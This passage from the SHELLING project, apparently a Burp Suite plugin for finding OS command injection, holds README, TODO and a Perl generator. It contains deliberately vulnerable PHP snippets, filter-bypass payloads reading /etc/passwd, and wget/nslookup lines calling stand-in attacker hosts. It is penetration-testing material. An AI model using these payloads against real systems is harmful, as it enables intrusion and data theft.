safer to check whether that data looks like it should (e.g. matches a simple regex like `^\\w+$` or `^\\d+$`) before using it.\n\nMany input-sanitizing functions attempt to catch all potentially dangerous characters that might give the attacker a way to control the target expression and, in consequence, execution.\n\n#### Argument separators trickery\nLet's consider the following example:\n```\n    <?php\n    if(isset($_POST['dir'])&&!preg_match('/\\s+/',$_POST['dir']))\n    {\n    \techo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_POST['dir']}\");\n    }\n    ?>\n```\n\nThe script executes the OS command only if the user-supplied variable does not contain any white characters (like spaces or tabs). This is why payloads like:\n`cat /etc/passwd`\n`;cat /etc/passwd;`\n`';cat /etc/passwd;'`\n\nlead to false negatives.\n\nIn order to execute an arbitrary command, we need an alternative expression to separate the command from its argument (we need an alternative ARGUMENT_SEPARATOR). \n\nA way to achieve this is an expression like `$IFS$9`, so the alternative payloads would be:\n`cat$IFS$9/etc/passwd`\n`;cat$IFS$9/etc/passwd;`\n`';cat$IFS$9/etc/passwd;'`\n\nIn the unix environment, the `$IFS` environmental variable contains the current argument separator value (which is space by default).\nSpecial caution needs to be taken when injecting `$IFS` as the argument separator. It is critical to make sure that the OS shell will be able to understand where does the variable name end and therefore where does the actual argument start. `ping$IFSlocalhost` will NOT work, because the shell will try to extrapolate a variable called `$IFSlocalhost` - which is obviously not defined. To deal with this, we can insert additional `$9`, which is just a holder of the ninth argument of the current system shell process (which is always an empty string). \nInterestingly, the same principle does not seem to apply to commands like `init$IFS$96` (init 6 -> restart). The command works fine and the shell is not trying to insert variable $96. Instead, it recognizes the presence of `$9`, evaluates it to an empty string and therefore treats the following `6` as an argument.\nA way to avoid this confusion is to use the `${IFS}` bracketed expression - just keep in mind this involves the use of two more characters that are likely to be filtered (`{` and `}`).\n\n\nBelow is the list of currently known and supported argument separators.\n\nOn nix:\n- `%20` - space\n- `%09` - horizontal tab\n- `$IFS$9` - IFS terminated with 9th (empty) argument holder\n- `{OS_COMMAND,ARGUMENT}` - the brace expression (works under bash, does not under dash)\n\nMore platform-specific tricks, like IFS override `;IFS=,;cat,/etc/passwd` or char escaping `X=$'cat\\x20/etc/passwd'&&$X` will soon be supported as well.\n\n\nOn win:\n- `%20` - space\n- `%09` - horizontal tab\n- `%0b` - vertical tab\n- `%25ProgramFiles:~10,1%25` - a hacky cmd expression cutting out a space from the default setting of the %ProgramFiles% environmental variable (`C:\\Program Files`)\n\nThe above is just an example of bypassing poorly written input-sanitizing function from the perspective of alternative argument separators. \n\n\n#### Command separators trickery\nAchieving the ability of injecting arbitrary commands usually boils down to the ability of injecting valid command separators first.\n\nBelow is the list of working commmand separators:\n\nOn unix:\n- `%0a` (new line character)\n- `%0d` (carriage return character)\n- `;`\n- `&`\n- `|`\n\nOn windows:\n- `%0a` (new line character)\n- `&`\n- `|`\n- `%1a` - a magical character working as a command separator in .bat files (discovered while researching cmd.exe to find alternative command separators - full description of the finding: http://seclists.org/fulldisclosure/2016/Nov/67)\n\n#### More witchcraft\nAlso, what's very interesting on win is the fact that the semicolon `;` does NOT work as a command separator. \nThis is very sad, because e.g. the `%PATH%` env variable usually looks more-less like this:\n`C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;[...]`. \nTherefore it would be great to use an alternative command separator like `%PATH:~19,1%` (substring expression that cuts out the first `;`, so it evaluates to it) with payloads like `a%25PATH:~19,1%25nslookup%25ProgramFiles:~10,1%25evildns.attacker.com%25PATH:~19,1%25`, which would evaluate to `a;nslookup evildns.attacker.com;`.\nUnfortunately the default environmental variables under Windows do not contain any supported command separator, like `&`. \nIt WOULD work, here's why:\n\n ![Little test](screenshots/win_shellshock.png?raw=true \"Little test\")\n\n* This behavior was described long time ago, being called the \"Windows version\" of the famous bash shellshock vulnerability (https://web.archive.org/web/20190212214038/https://www.thesecurityfactory.be/command-injection-windows.html)\n\nI am still hoping for some undocumented cmd.exe function that will allow to forge `&` by some sort of single expression (or some hidden, undocumented special environmental variables not visible in `env` output). More research is needed.\n\nBy the way, I also really hoped for a similar thing to work on nix. E.g. the `$LS_COLORS` variable looks more-less like: `rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37[...]`.\nHence, I really hoped for expression like `ls .${LS_COLORS:10:1}id` to work (evaluating to `ls .;id` and treating `;` as a command separator). Unfortunately bash plays it safe and treats such a string as a literal:\n`ls: cannot access '.;id': No such file or directory`. Who knows... More research is needed (especially with cmd.exe as it is not open source, but also on other shells like dash (and powershell!).\n\nAnother good research target are common language functions themselves (e.g. escapeshellcmd() or Java's GetRuntime().exec() - as it has built in protection from injecting additional commands, nothing I tried worked so far - except for argument injection of course, but that always depends on the hardcoded binary that is being called).\n\n#### String separators\nAdditionally, the following string terminators can be used (in case input was written into a file or a database before execution and our goal was to get rid of everything appended to our payload in order to avoid syntax issues):\n- `%00` (nullbyte)\n- `%F0%9F%92%A9` (Unicode poo character, known to cause string termination in db software like MySQL)\n- `%20#` - space followed by the hash sign (nix)\n- `%20::` -  space followed by the `::` cmd.exe one-line comment sequence\n\nThis way the base payload set is multiplied by all the feasible combinations of alternative argument separators, command separators and command terminators.\n\nThe above separators could include double characters (like two spaces or two tabs, one after another). This is idea for optimisation aimed at defeating improperly written filters which only cut out single instances of banned characters, instead of removing them all. In such case two characters would get reduced to one, bypassing the filter and hitting the vulnerable function.\n\n\n### Regular expressions\n\nSome input sanitizers are based on regular expressions, checking if the user-supplied input does match the correct pattern (the good, whitelist approach, as opposed to a blacklist).\nStill, a good approach can be improperly implemented, creating loopholes. A few examples below.\n\nThe following vulnerable PHP will refuse to execute any OS commands as long as the user-supplied input does not START with alphanumeric character/characters:\n```\n    <?php\n    if(isset($_GET['dir'])&&preg_match('/\\w+$/',$_GET['dir']))\n    {\n    \techo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n    }\n    ?>\n```\nThis is why all of the previously discussed payloads would end up in false negatives. An example payload defeating this filter could be `foo;cat /etc/passwd`.\n\nAnother example's regular expression requires the user-supplied value to both start and end with alphanumeric characters:\n```\n    <?php\n    if(isset($_GET['dir'])&&preg_match('/^\\w+\\..*\\w+\\.\\w+$/',$_GET['dir']))\n    {\n    \techo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n    }\n    ?>\n```\n\nDue to the fact that it contains a lax the `.*` part in the middle, it is possible to defeat it with a payload starting and ending with an alphanumeric string, like `foo1.co.uk;cat /etc/passwd;foo2.co.uk`. In this case it does not matter that there is no such file as `foo1.co.uk` and that there is no such command as `foo2.co.uk`, what matters is that the command between these prefixes will execute properly. \nThese two examples show that all the previously mentioned payloads also require alternatives with proper prefixes and/or suffixes, ideally taken from the original values used and expected by the application. In fact, these payloads (suffixed and prefixed) are the ones most likely to succeed, making their non-suffixed and non-prefixed versions redundant (this fact will be soon used in the best effort payloads feature - not implemented yet).\nThis makes us extend our base payload set to combinations like:\n- `COMMAND_SEPARATOR+FULL_COMMAND+COMMAND_SEPARATOR+SUFFIX`\n- `PREFIX+COMMAND_SEPARATOR+ FULL_COMMAND+COMMAND_SEPARATOR`\n- `PREFIX+COMMAND_SEPARATOR+ FULL_COMMAND+COMMAND_SEPARATOR+SUFFIX`\n- `PREFIX+FULL_COMMAND+SUFFIX`\n\n\n## Platform-specific conditions\n\nDepending on the technology we are dealing with, some payloads working on some systems will fail on the other. The examples include:\n- using windows-specific command on a nix-like system\n- using nix-like specific argument separator on a windows system\n- dealing with a different underlying system shell (e.g. `cat /etc/passwd #'` will work on bash/ash/dash, but won't work on csh)\n- different filesystem PATH values\n\nWith this in mind, the best (and currently applied) approach is to use commands and syntaxes that work the same on all tested platforms (the most basic syntax of commands like echo and ping remains the same across nix/win). If this approach turns out not to be exhaustive, alternative base payloads need to be added to the test set.\n\n\n## The problem of the feedback channel\n\nAll the above vulnerable scripts have two common features:\n- they are synchronous, meaning that the script does not return any output as long as the command has not returned results, so it is synchronous with\nour targeted function \n- they all return the target function's output, meaning that we could actually see the results of the issued commands on the web page.\n\nThis conditions are often untrue, especially the second one. So, let's deal with a script like:\n\n```\n    <?php\n    if(isset($_GET['username']))\n    {\n    \t$out=@shell_exec(\"ls /home/{$_GET['username']}\");\n    \tfile_put_contents('/var/www/user.lookups.txt',$out,FILE_APPEND);\n    }\n    ?>\n```\n\nThe above script is synchronous, but does not return output. An alternative that would also be asynchronous would involve saving the command in some file/database entry and having it executed by another process within unknown time (e.g. a scheduled task). \nSo, using all the variations of test commands like cat /etc/passwd or echo test would lead to false negatives, because the output is never returned to the browser.\nThis is why we need alternative feedback channels (which do not necessarily mean ouf of band channels - this terminology rather refers to the way of extracting data). \n\nA feedback channel is simply the way we collect the indicator of a successful injection/suspicious behavior.\n\nHence, for command injection, we can have the following feedback channels:\n- output (all the above examples except the last one use directly returned output, could as well be indirectly returned, e.g. visible in some other module, put into a file, sent via email and so on, all depending on what the vulnerable feature does and how it returns results)\n- response time (e.g. commands like sleep 30 will case noticeable half-minute delay, confirming that the injection was successful, however this will not work with asynchronous scripts)\n- network traffic, like reverse HTTP connections (`wget http://a.collaborator.example.org`), ICMP ping requests or/and DNS lookups (ping sub.a.collaborator.example.org)\n- file system (if we have access to it; we can attempt to inject commands like `touch /tmp/cmdinject` and then inspect the `/tmp` directory if the file was created - or have the customer to do it for us)\n- availability (if all the above fails/is not an option, the only way (without involving third parties) to confirm that the injected command has executed, would be an injection of some sort of payload causing a DoS condition like reboot, shutdown or remove)\n\nIn order to avoid false negatives, when no command output is returned by the application, it is necessary to employ payloads utilizing a different feedback channel. Network, particularly DNS (watching for specific domain name lookups coming from the target - this is the main feedback channel usede by Burp Collaborator) is a very good choice, as DNS lookups are usually allowed when no other outbound traffic is permitted. Also, this option is great as it works as well with asynchronous injections.\n\n\n\n# The tool\nThe purpose of the SHELLING tool is to generate a set of payloads capable of penetrating all improperly written sanitizers of user supplied input passed to OS shell overlay functions like `system()`, `shell_exec()` and the like.\n\nIt comes in the form of a Burp Suite plugin with the following main functionalities:\n* Intruder payload provider\n* Scanner extension\n* Payload export to clipboard/file\n* Single byte generator\n\nThe full capabilities of this plugin can only be achieved with Burp Pro version, however the tool can still be used with the free Burp Community version (with its inherent limitations like no Active Scanning and limited Intruder attacks).\n\n## User Interface\nBelow is a sneak peak of the most important sections of the user interface:\n\n![One](screenshots/one.png?raw=true)\n\n![Two](screenshots/two.png?raw=true)\n\n![Three](screenshots/three.png?raw=true)\n\n![Four](screenshots/four.png?raw=true)\n\n## Using the tool\nThis section focuses only on explaining the main concepts and their implementation, without describing obvious and/or least important options. Most of the sections below are somehow related and it was not that easy to decide in what order they should be presented. Hence, if anything seems unclear and questions arise, just keep reading on.\n\nThe default settings the plugin loads with should be optimum for most scenarios, so the tool can be used out of the box without any adjustments.\n\n## Feedback channels\nTwo out of above mentioned feedback channels (**DNS** and **time**) are fully supported (can be used out of the box without any additional tools or manual actions taken) in the *auto* mode. Feel free to use other feedback channels (*manual* mode only) whenever necessary.\n\n### DNS\nIn order to catch both synchronous and asynchronous interactions with our payloads, the tool is using Burp Collaborator (https://portswigger.net/burp/help/collaborator).\n\nBurp Collaborator is heavily used by the Burp Active Scanner. \n\nIt can as well be used manually (just click on 'Burp'->'Burp Collaborator Client' and try it out yourself), so it can be combined with manual or semi-automated attacks (Repeater, Intruder, tampering through proxy, forging files, using external tools and so on).\n\nLuckily, Burp Suite also provides Burp Collaborator API so it can be used by extensions (and this is exactly what this plugin is doing when **DNS** feedback channel is used).\n\nService-wise, please keep in mind you can either use the default Collaborator service provided by Portswigger or set up your own. \n\nHaving and using a private Collaborator service makes more sense if we set it up with a domain name as short as possible, like x.yz, so the domain names used in the payloads can look like `55.5aglyjo4e8v6j2ot2f255fraw12rqg.n.xy.z` instead of `55.5aglyjo4e8v6j2ot2f255fraw12rqg.burpcollaborator.net`. The longer our payload is, the higher chances for a false negative (the application might reject our payload due to its excessive length before it reaches the vulnerable code).\n\nAlso, it's good to always run a health check of the Collaborator service before actually using it.\n\n### time\nThis is a well known feedback channel for detecting so called 'blind' variant of injection vulnerabilities. It's faster and it does not require external service like DNS. Also, the payloads are shorter. It shouold still be considered less reliable as it will NOT detect asynchronous vulnerabilities, whereas the payload is stored first and then executed by a different process or even system.\nUpon successful execution, payloads utilizing this feedback channel (e.g. `sleep 25`) cause a significant delay in the response.\n\n## Payload marking\nThe payload marking mechanism is very simple. Every single payload generated by the tool has its number (starting at 1). \nIf payload marking feature is on, upon generation, all instances of the special holder string `PAYLOAD_MARK` in the argument field are replaced with the payload number. This makes it easier to trace back the result to the successful payload that created it. \n\nFor example, if the command is set to `touch` and the argument is set to `/tmp/owned.PAYLOAD_MARK`, once the attack is finished and there is a file named `/tmp/owned.1337`, we know that payload number 1337 was the one responsible for creating the file. \n\nWe could likewise do something like command=`echo` and argument=`PAYLOAD_MARK>>/tmp/owned`. This way the file `/tmp/owned` would contain all the IDs of the payloads that worked.\n\nThe third example could be command=`wget` and argument=`http://attacker.com/owned.PAYLOAD_MARK` if attacker.com is our controlled server to observe interactions.\n\nThe fourth example could be command=`nslookup` and argument=`PAYLOAD_MARK.collaborator.attacker.com`, so if our DNS server receives a lookup like `66.collaborator.attacker.com`, we know it was triggered by the 66th payload. \n\nIf payload marking feature is off, the `PAYLOAD_MARK` holder - if present - is simply removed from the eventual payload.\n\n## Difference between manual and automatic mode\nThe mode setting only applies to Intruder and Export (and is ignored by the Active Scanning extension, which is always using the *auto* mode regardless to this setting).\n\n### The auto mode \nThis mode is enabled by default and recommended.\nThe automatic mode does not allow one to explicitly specify the command to be injected and neither its argument. In this mode, the actual command used in the payload depends on the feedback channel (e.g. `nslookup` vs `sleep`) and the target OS (e.g. `sleep 25` for nix and `ping -n 25 localhost` for win, because `sleep` is not a thing on win). Also, whereas **DNS** serves as the feedback channel, payload marking is enforced. \n\n#### Combining Intruder with Collaborator\nThe coolest thing about the *auto* mode is the automated use of the Burp Collaborator service without the need to:\n* manually running the Burp Collaborator Client\n* copying the domain names from it (*Copy to clipboard*)\n* putting them into our payloads/configuration\n* keeping the Burp Collaborator Client window open, watching it for interactions\n\nAgain, this mode is always used by the Scanner extension anyway regardless to the setting, which means this setting only applies to Intruder and Export. Yes, this means that by default Intruder attacks using payloads provided by this tool **WILL DETECT** Collaborator interactions (either right away or long after the attack was finished) ... and **create issues in the Target, just like they came from the Scanner**! \n\nEvery time a set of payloads is generated (in result of running an Active Scan, an Intruder attack or an Export to file/clipboard) with **DNS** as the feedback channel, SHELLING requests the Collaborator service to create a new unique subdomain (just like if we hit the *Copy to clipboard* button in the Burp Collaborator Client - except it happens automatically) and remembers it after the payload set is generated. Every time the Collaborator Service returns interactions, they are all matched against all the domains generated and tracked till this point. By matching the subdomain and the payload marker, it is possible to identify the exact payload/payloads that caused it and (for Scanner and Intruder) trace the base request used for the attack. This set of information is sufficient for automatic insertion of a new issue to the *Issues* list in the *Site Map*, both for Active Scanning and Intruder attacks (this won't work for Export only because there is no base request associated with its instance). See the Intruder section for an actual example (you won't see this trick in any other Burp plugin :D).\n\n##### Why?\nThe main reason for implementing this Collaborator-enabled, Scanner-like capability for Intruder was the same reason we use Intruder. Sometimes we do not want to run a full Active Scan of a particular insertion point (with all the Scanner checks enabled, while disabling them just for one scanning task only to enable them again right after running it would be even more cumbersome), but instead we only want to test that insertion point for a particular vulnerability, like OS command injection. Also, Intruder gives us insight into the responses (while the scanner alone does not) -  speaking of which, check out this: https://github.com/ewilded/shelling/blob/master/README.md#flow.\n\n### The manual mode\nThe manual mode does not allow one to specify the feedback channel, as we take care of the feedback channel ourselves.\n\nIn turn, it gives control over the command and argument, so we can use a configuration like command=`touch` with argument=`/tmp/owned.PAYLOAD_MARK` (payload marking can be still used with manual mode), making the file system our feedback channel.\n\nAnother example would be command=`echo` and argument = `1337`. Then we add `1337` to the 'Grep - match' option of the Intruder attack, using the direct output as the feedback channel (without payload marking).\n\nAlso, payload marking does not make much sense when using time as the feedback channel (there either is a significant delay or not). But of course we could still do it in manual mode: command=`sleep` and argument=`PAYLOAD_MARK`, so if the payload works, the additional delay in seconds will be equal to the payload number.\n\n## Different approaches to using this tool\nWith its default configuration, SHELLING currently generates around 200 payloads (using most reasonable base syntaxes, terminator and encoding settings). This is a relatively high number and it will be reduced in future releases, with the default setting moving towards best effort payloads (so ideally the tool would only be using the user-defined *X* first payloads from the list ordered by the likelihood of success).\n\nWith all possible options enabled (all base syntaxes, target operating systems, evasive techniques and other types of injections) this number grows to thousands. \n\nTherefore, using the full payload set is obviously not reliable for normal testing and is in my opinion an example of what what James Kettle called \"the million payload approach\" - explaining that scanners HAVE TO provide best effort payloads instead.\n\nI personally believe that the full payload set provides us with high confidence about the profoundness of the test we conducted against the particular input, but for practical reasons this approach should only be taken against features with high likelihood of calling local binaries/scripts (like any system, diagnostic or file-related tools).\n\nAnother scenario for using the full payload set are inputs that behave in a suspicious way (e.g. potential code injection issues detected by the Backslash Powered Scanner) and we are trying to guess the proper syntax and other input conditions - or at least partially automate and therefore speed up the guessing process, providing us with the clear list of payloads we have already tried.\n\n## Scanner\n**CAUTION:** Always make sure the item you are about to Scan/Intrude is added to the scope! Issues added from Burp Extensions to targets not in the scope do not pop up!\n\nActive Scanning is by default enabled in the *Global settings*:\n![Global settings](screenshots/active_scanning.png?raw=true \"Global settings\")\n\nA set of payloads (and a separate Collaborator session) is generated individually for each of the insertion points. So, if we decide to scan the entire request (e.g. right click on the request/response in any tool -> `Do an active scan`), there number of active insertion points tested will directly depend on the request and Scanner's `Options -> Attack Insertion Points` configuration.\n\nScans can be run on individual insertion points only, using Intruder:\n![Individual insertion point](screenshots/active_scanning2.png?raw=true \"Individual insertion point\")\n\n## Intruder\n*A tip*: I personally recommend setting the  Intruder's \"new tab behavior\" to copy settings from the previous tab:\n![New tab behavior](screenshots/new_tab_behavior.png?raw=true \"New tab behavior\")\n\nIt saves a lot of time and clicking (every new Intruder attack will automatically have the configuration copied from the previous one, so we do not have to set all the options up all over again).\n\nSetting up SHELLING for use with Intruder is very simple (once done, this setting will be copied to every new Intruder tab):\n1) Send the request of choice to Intruder:\n![Setting up Intruder](screenshots/send_to_intruder.png?raw=true \"Setting up Intruder\")\n\n2) Pick `Extension generated` as the payload type:\n![Setting up Intruder](screenshots/setting_up_intruder.png?raw=true \"Setting up Intruder\")\n\n3) Pick `Command injection` as the generator:\n![Setting up Intruder](screenshots/setting_up_intruder2.png?raw=true \"Setting up Intruder\")\n\n4) Make sure that the `Payload Encoding` is off (the output character encoding is handled separately by the tool from the `Evasive techniques` tab and the default encoding is URL):\n![Setting up Intruder](screenshots/setting_up_intruder3.png?raw=true \"Setting up Intruder\")\n\n5) Make sure the target is added to the scope:\n![Scope](screenshots/scope.png?raw=true \"Scope\")\n\n### Intruder in auto mode\nOK, time for some magic! \nThe Intruder attack is already set. \nNow let's just make sure the SHELLING mode is set to *auto* (it is by default):\n![Setting up Intruder](screenshots/auto_mode1.png?raw=true \"Setting up Intruder\")\n\nNow, we can already hit \"Start\"... However if we want to be able to see a bit of what's going on under the hood:\n* Go to the `Advanced` tab in SHELLING and enable \"Verbose extension output\":\n![Verbose output](screenshots/verbose_output.png?raw=true \"Verbose output\")\n\nThis will turn on debug information in the Extender -> Shelling -> Output tab:\n![Verbose output](screenshots/verbose_output2.png?raw=true \"Verbose output\")\n\nAs we can see, at this point there are no issues for the target:\n![No issues](screenshots/no_issues.png?raw=true \"No issues\")\n\nWe hit \"Start attack\" and watch the magic happen:\nIssue pops up:\n![Magic happens](screenshots/magic_happens1.png?raw=true \"Magic happens\")\n\nPlugin verbose output:\n![Magic happens](screenshots/magic_happens2.png?raw=true \"Magic happens\")\n\n### Intruder in manual mode\nNothing exciting, check it out for yourself if you need it.\n\n## Export\nPayloads can be exported directly to the clipboard as well as to a text file (so they can be used with external tools, e.g. Intruder run from a Burp Suite installation that does not have SHELLING installed - or maybe even a tool using those payloads to test an application using a totally different protocol than HTTP (e.g. SIP, FTP, SMTP, Telnet, whatever).\n\n## Byte generator\nThe *Byte generator* is an additional auxiliary payload provider (can be used with Intruder instead of the `Command injection` generator. It provides the following predefined byte ranges:\n\n![Byte generator](screenshots/byte_generator.png?raw=true \"Byte generator\")\n\nI personally found it very useful for general fuzzing and research, like:\n* trying to discover alternative:\n  * argument/command separators\n  * string terminators\n  * breakout sequences\n  * error conditions\n\n\n## Experimental injection modes\nSHELLING also supports two experimental injection modes (early stage of development):\n* argument injection (please refer to https://github.com/ewilded/shelling/blob/master/DETECTING_ARGUMENT_INJECTION.md for more details and feel free to play with it yourself)\n* terminal injection (also known as escape sequence injection vulnerability, e.g. `curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a`)\n\n## Problems and future improvements\nPlease refer to TODO.txt. Also, I am always happy to see feedback. If you come across issues, false negatives or ideas for improvement, don't be shy.\n\n\n## Some case examples\n### 1) Test cases\nFor example test cases (the number of all supported cases should be bigger than the total number of payloads generated) please refer to the  https://github.com/ewilded/shelling/tree/master/test_cases directory. Below is a screenshot with the current results of these test cases, reflecting the coverage and tool's expected behavior:\n\n![Test results](screenshots/test_results.png?raw=true)\n\n\n### 2) Some real examples\n- https://chris-young.net/2017/04/12/pentest-ltd-ctf-securi-tay-2017-walkthrough/\n- https://www.exploit-db.com/exploits/41892/\n- https://www.exploit-db.com/exploits/34461/\n\n\n## Recommended tools, projects and special thanks\n### Tools I recommend using (not only in tandem with SHELLING, but generally)\n#### Flow\nAn extremely useful Burp Suite plugin simply allowing to monitor and search all the traffic processed by ALL Burp Suite plugins (Proxy, Intruder, Scanner, Extender, Target...). Only when using this plugin you can really know what you are ACTUALLY doing with Burp: https://github.com/PortSwigger/flow\n\n#### Backslash Powered Scanner\nThe revolutionary, providing research-quality findings Backslash Powered Scanner by James Kettle: https://github.com/PortSwigger/backslash-powered-scanner\n\n#### Error message checks\nAlthough not directly related, this plugin allows better oversight of the responses we are receiving when using Active Scanning. \n\nThe capability of defining our own error message patterns along with their type and severity makes it possible to watch Scanner responses for patterns of our choice without the need of writing our own dedicated plugin: https://github.com/augustd/burp-suite-error-message-checks\n\n#### Daniel Bohannon's research \nThe mind-blowing science and art of command obfuscation by Daniel Bohannon: https://github.com/danielbohannon\n\n#### Special thanks\nI would like to express my special thanks to Dawid Goluński and Daniel Bohannon for providing food for thought and inspiration for this project with their awesome work!\nAlso, special thanks to Marcin Wołoszyn for the extremely useful Flow plugin! Helps me everyday, both with testing AND my own plugin development. \nKeep it up, guys!\n"
  },
  {
    "path": "TODO.txt",
    "content": "SHELLING TODO\n--------------------------------\n\nTODO for the next release:\n- consider/test the double-separator idea (at least add it as an option)\n- make sure we do quotes right (e.g. check against https://www.exploit-db.com/exploits/39767)\n- better form of best effort payloads\n- payload number recalculation function for each config change, to update the \"Save CNT payloads\" tab title (so we'll know in advance how many payloads will be produced with the current confgiruation\nAlso, we can compare the counter with the actual size to check for duplicates/skipped paylaods\n- go through ENTIRE Daniel's research \n- response-based analysis as an additional feedback channel (for Scanner) and argument injection\n- make sure there are no invalid payloads in the payload set\n\nOS-specific improvements:\n\t- nix: https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html#known-bypassesexploits\n\t- nix: Introduce this IFS=,;`cat<<<uname,-a` by https://twitter.com/MrHappiey\n\t- nix: reiterate through  (thanks to https://twitter.com/omespino/status/1001484143426002944)\n\t- nix: AND https://gtfobins.github.io/gtfobins/tar/ and the like (for known injections, there's plenty of them as it turns out - a manageable list with predefined values would be better\nIFS=,;`cat<<<cat,/etc/passwd`\ncat$IFS/etc/passwd\ncat${IFS}/etc/passwd\ncat</etc/passwd                 \n{cat,/etc/passwd} OR {ls,-las,/var} with args\nX=$'cat\\x20/etc/passwd'&&$X\n\t- nix: -exec, -e, -r and other argument injections for direct code execution are encouraged ;]\n\t- nix: -o, -O and -out are also good outputfile candidates in nix, the problem is we don't have UNC support... or do we? what about URLs to other protocols, like scp:// and the like?\n\t\twe have to figure out something like:\n\t\twget http://wp.pl -O smb://fdwi7155tpq9htil8kigfkgfh6nwbl.burpcollaborator.net/share/public/file.txt\n\t\t\n\t- nix: also, consider injections into sh expressions (?)\n\t- nix: how about response-based detection of argument injection by injecting wildcard chars (?*[])?\n\t- nix + win envirables inspirations from CONFidence\n\n\t- win: the windows argument injection pattern /c \"command\" I \"figured out\" after reading the recently released reference\n\t- win: additional argument separators for windows: ;-_,=/ (find out compatible commands, as echo/type are fine, while ping fails)\n\t- win: check that obfuscation trick from Daniel's presentation (and prolly do more research on the subject)\n\t\n\t- win: \n\tC:\\Users\\win>echo aaa > 'test&whoami'\n'whoami'' is not recognized as an internal or external command,\noperable program or batch file.\nWHAT?!?!?!! :DDD\nApparently in cmd.exe & used in filenames has priority over quotes:\n\nC:\\Users\\win\\Desktop\\testy>type HELLO  > 'test&whoami'\nThe system cannot find the file specified.\n'whoami'' is not recognized as an internal or external command,\noperable program or batch file.\n\nC:\\Users\\win\\Desktop\\testy>dir\n Volume in drive C has no label.\n Volume Serial Number is 0CD5-6659\n\n Directory of C:\\Users\\win\\Desktop\\testy\n\n06/17/2018  12:35 AM    <DIR>          .\n06/17/2018  12:35 AM    <DIR>          ..\n06/17/2018  12:35 AM                 0 'test\n               1 File(s)              0 bytes\n               2 Dir(s)   6,749,995,008 bytes free\n"
  },
  {
    "path": "VERY_DEPRECATED_AND_NO_LONGER_MAINTAINED_shelling.pl",
    "content": "#!/usr/bin/perl\n\n## SHELLING - payload generator by ewilded, tuned for OS command injection\n\nuse strict;\nno strict 'refs';\n\n# CONFIGURATION SECTION START\nmy $COMMAND='ping'; # sleep, echo, touch, wget, this could be nicely profiled, e.g. by a parameter called 'feedback_channel' or sth\nmy $ARGUMENT='xPAYLOAD_MARK.sub.evilcollab.org'; # \n# in this configuration example we are trying to ravage file upload mechanism in order to write arbitrary files to arbitrary location\nmy $PAYL=$COMMAND.'ARGUMENT_SEPARATOR'.$ARGUMENT;\nmy $payload_marking=1; # if  we want to mark each payload with a unique identifier, so we can know the winner when it hits the right place\nmy $TARGET_OS='all'; # other options include 'win' and 'all', 'all' is the default\n\n# Let's try to create proper nix command injection anatomy\n## we can deal with three types of porly written check filters:\n# 1) the ones that only force the string to begin properly, like ^\\w+ \n# 2) the ones that only force the string to end properly, like \\w+$\n# 3) the ones that only force the string to have proper beginning and end, with a loophole inside of them, e.g. ^\\w+\\s+.*\\w+$\n# We have to create the base payloads list with this thing in mind\n# This is why we need both SUFFIXES and PREFIXES, we build all combinations: PREFIX{PAYLOAD}, PREFIX{PAYLOAD}SUFFIX, {PAYLOAD}SUFFIX, we'll also be able to cover injection points starting/ending with quotes\n\n# MALICIOUS_COMMAND=COMMAND+ARGUMENT_SEPARATOR\n# THE COMBINATION PATTERNS: \n# 1) MALICIOUS_COMMAND (argument injections like `$USER_SUPPLIED` or $(USER_SUPPLIED))\n# 2) MALICIOUS_COMMAND+COMMAND_TERMINATOR (in case there was write and command separators were unallowed)\n# 3) COMMAND_SEPARATOR+MALICIOUS_COMMAND (for simple injections with no filtering, like cat $USER_SUPPLIED\n# 4) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR (for simple injections with no filtering and appended some fixed content, like 'some_binary $USER_SUPPLIED -someflag')\n# 5) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX (for simple injections like 'cat $USER_SUPPLIED something', with filtering like \\w+$)\n# 6) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR (for injections with weak filtering like ^\\w+ and some appended fixed content, like 'cat $USER_SUPPLIED something')\n# 7) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX (for injections with appended fixed content, like 'cat $USER_SUPPLIED something', with weak filtering like ^\\w+\\s+.*\\w+$)\n# 8) PREFIX+MALICIOUS_COMMAND+SUFFIX (`` and $() notations)\n\n# Why we do not combine COMMAND_SEPARATORS along with COMMAND_TERMINATORS in one payload: any quotes will be handled by the prefix stuff anyway, while any fixed appendices will be ignored due to separators instead of terminators (and if separator is not accepted, the command will fail anyway, so there is no point in trailing it with a terminator)... hence, terminators should be used only mutually exclusively with separators!\n\nmy @BASE_PAYLOADS=(\n$PAYL,\n);\n\nmy @ARGUMENT_SEPARATORS=('%20%20',\"%09%09\");\nmy @COMMAND_SEPARATORS=('%0a%0a','%26','|'); #  <<D%0aD%0a is nice on nix, but redundant, as it requires %0a... %0a does not work with direct injections (cmd /c \"blabla\\nothercommand\"), but it does the job in bat files\nmy @COMMAND_TERMINATORS=(\"%00\",'%F0%9F%92%A9');# the first two make sense only if the command is saved into a file (script) or a database entry before being executed (in order to get rid of the hardcoded command shite if separators fail to get rid of its impact, or if dealing with some quoted injection (# 💩 the long encoded one is the utf poo)\n\n\nmy @NIX_COMMAND_SEPARATORS=(';');\nmy @NIX_ARGUMENT_SEPARATORS=('$IFS$9');\nmy @NIX_COMMAND_TERMINATORS=('%20%20#');\nmy @WIN_COMMAND_SEPARATORS=('%1A'); # bat files\nmy @WIN_ARGUMENT_SEPARATORS=('%0b','%25ProgramFiles:~10,1%25'); # vertical tab, hacky space\nmy @WIN_ECHO_ARGUMENT_SEPARATORS=('(','.');\nmy @WIN_COMMAND_TERMINATORS=('%26::');\t# does not make any difference in direct cmd /c injects (cmd is tolerant for broken syntax following our command, on the other hand it still fails if it encounters something like <>< after this command terminator, but it might get handy for injection into .bat files\n\n# invvvvv212.org','1', 